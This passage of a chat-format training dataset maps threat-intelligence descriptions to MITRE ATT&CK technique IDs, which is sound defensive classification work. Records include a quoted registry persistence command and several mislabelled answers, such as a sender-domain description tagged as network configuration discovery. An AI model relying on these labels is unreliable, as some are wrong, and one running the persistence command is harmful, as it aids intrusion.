                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Email attacks often use “click-worthy” or interesting topics to convince users to click links or open attachments that could lead to various threats"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The CozyCar dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell supports functionality for VNC sessions."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services:VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin checks the running processes for evidence it may be running in a sandbox environment. It specifically enumerates processes for Wireshark and Sysinternals."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download an executable to run on the victim."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has sent malicious links including links directing victims to a Google Drive folder."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The FunnyDream FilePakMonitor component has the ability to collect files from removable devices."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for every sample. RC4 file encryption relies on the Windows 32 CryptoAPI, using the provided value’s MD5 hash as an initial vector. Among all these random keys once the word “salamati” was also used, which means “health” in Farsi"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather network share information."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 places scripts in the startup folder for persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Dust Storm, the threat actors used JavaScript code."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LNK files have been valuable during Mandiant incident response investigations as they include volume serial number, NetBIOS name, and MAC address"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use a number of known techniques to bypass Windows UAC."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The chinapolicyanalysis.org domain was used as the sender address, as well as the hosting location of the malicious RTF document"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Later, the malware enters in a big block of trash code that also includes some elements to decrypt strings and important information for later"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has used GitHub to host its payloads to operate spam campaigns."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has used malware to identify installed AV and commonly used forensic and malware analysis tools."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 3: The first step of decryption will perform XOR on one byte using the previous adjacent byte, starting from the last byte and excluding the first byte  Figure 4: The second step uses RC4, using the first 0x20 bytes from the result of the first step as the RC4 key  Figure 5: Encrypted (Top) and decrypted (bottom) configuration file It is also important to note that while the loader component and the configuration file are located in the same directory (%windows%\\system32), the encrypted backdoor is located in a different directory (%Program Files%\\Common Files\\System\\ado)"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor can detect whether it is executed in some virtualized or emulated environment by searching for specific artifacts, such as communication with I/O ports and using VM-specific instructions."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In all stages of the attack, the actor demonstrated a deep knowledge of software tools, deployments, security software and systems common in networks, and techniques frequently used by incident response teams. This knowledge is reflected in the actor’s operational decisions, from the choice of command-and-control (C2) infrastructure to the naming of scheduled tasks used to maintain persistence"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has lured victims into executing malware via malicious e-mail attachments."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BoomBox has the ability to mask malicious data strings as PDF files."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS encrypts C2 data with a ROR by 3 and an XOR by 0x23."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MirageFox is likely loaded via DLL hijacking into a legitimate McAfee binary."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer can gather information about TCP connection state."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "build_downer has the ability to determine the local time to ensure malware installation only happens during the hours that the infected system is active."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist can encrypt C2 communications with a randomly generated key."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system. UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments. The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network. UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet. Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware. UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes BAT and VBS scripts."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has used TCP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can disable Avira anti-virus."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNSPOT decrypts SUNBURST, which was stored in AES128-CBC encrypted blobs."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used \"InstallUtil.exe\" to execute malicious software."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - Signed Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Raindrop was installed under names that resembled legitimate Windows file and directory names."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used malware that can capture screenshots of the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromises users’ saved passwords from browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used various batch scripts to establish C2, download additional files, and conduct other functions."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can wipe drives using  Remove-Item commands."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Action RAT has the ability to download additional payloads onto an infected machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As mentioned in our earlier technical report on Trojan.Hydraq, the back door allows the attacker to perform any of the following activities: - Adjust token privileges. Create, modify, and delete registry subkeys. Retrieve a list of logical drives. Uninstall itself by deleting the HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\RaS[FOUR RANDOM CHARACTERS] subkey"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used WebDAV to upload stolen USB files to a cloud drive. Turla has also exfiltrated stolen files to OneDrive and 4shared."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "running software, system name, IP address) - install additional malware onto the system - check for the presence of 29 different antivirus tools"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "created new Windows services and added them to the startup directories for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest uses a function named \"is_debugging\" to perform anti-debugging logic. The function invokes \"sysctl\" checking the returned value of \"P_TRACED\". ThiefQuest also calls \"ptrace\" with the \"PTRACE_DENY_ATTACH\" flag to prevent debugging."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used brute force techniques to obtain credentials."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. The primary difference was that this sample was encrypted and password protected, requiring the victim to enter in a password which was likely provided by the adversary to view the document. Typically, password protected documents is commonly used by adversaries as an evasion tactic to bypass automated analysis mechanisms due to the password requirement for successful execution. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The DOC file contains an embedded OLE Object that, upon execution, triggers the download of an additional DOC file from the stored URL (seen in Figure 3)"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sample contains some interesting static artifacts including self-signed digital certificates used to sign the executable purporting to be software from the Foxit Software Incorporated company based in California. It is not known why the actors picked this company -- and others listed in Table 1 below -- to impersonate but, as previously mentioned, their use of filenames and URLs makes their payloads appear benign and trustworthy"
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cadelspy has the ability to steal information about printers and the documents sent to printers."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the password (delivered in the body of the email) is entered, the users are presented with a document that will request users to enable the malicious macro, as shown in Figure 3"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can be configured to use TCP, ICMP, and UDP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group has obtained and used a variety of tools including Mimikatz, PsExec, Cobalt Strike, and SDelete."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT has encrypted collected data with AES-256 using a hardcoded key."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses cmd.exe to execute commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has injected SMB URLs into malicious Word spearphishing attachments to initiate ."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has also recently used LOLbins and legitimate Windows OS processes to perform malicious activities and deliver a payload without being detected. As the entry point of an attack, it delivers a sophisticated email containing a malicious Excel or Word file"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial beacon packet for  contains the operating system version and file system of the victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca modified the registry using the command \"reg add “HKEY_CURRENT_USER\\Environment” /v UserInitMprLogonScript /t REG_SZ /d “[file path]”\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has established email accounts for use in domain registration including for ProtonMail addresses."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda can perform keylogging on the victim’s machine by hooking the functions TranslateMessage and WM_KEYDOWN."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet used xp_cmdshell to store and execute SQL code."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stage2.exe is a downloader for a malicious file corrupter malware. Upon execution, stage2.exe downloads the next-stage malware hosted on a Discord channel, with the download link hardcoded in the downloader. Once executed in memory, the corrupter locates files in certain directories on the system with one of the following hardcoded file extensions"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The story of a Linux miner bundled with pirated copies of VST (Virtual Studio Technology) software for Windows and macOS"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist has primarily used port 443 for C2 but can use port 80 as a fallback."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has modules that are capable of capturing audio."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used encoded PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used the BlackEnergy KillDisk component to corrupt the infected system's master boot record."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Sharpshooter, the threat actors used Dropbox to host lure documents and their first-stage downloader."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a tool to dump credentials by injecting itself into lsass.exe and triggering with the argument \"dig.\" The group has also used a tools to dump passwords from browsers."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DEATHRANSOM can use loop operations to enumerate directories on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The configuration and strings are encrypted using 3DES and Base64 encoding"
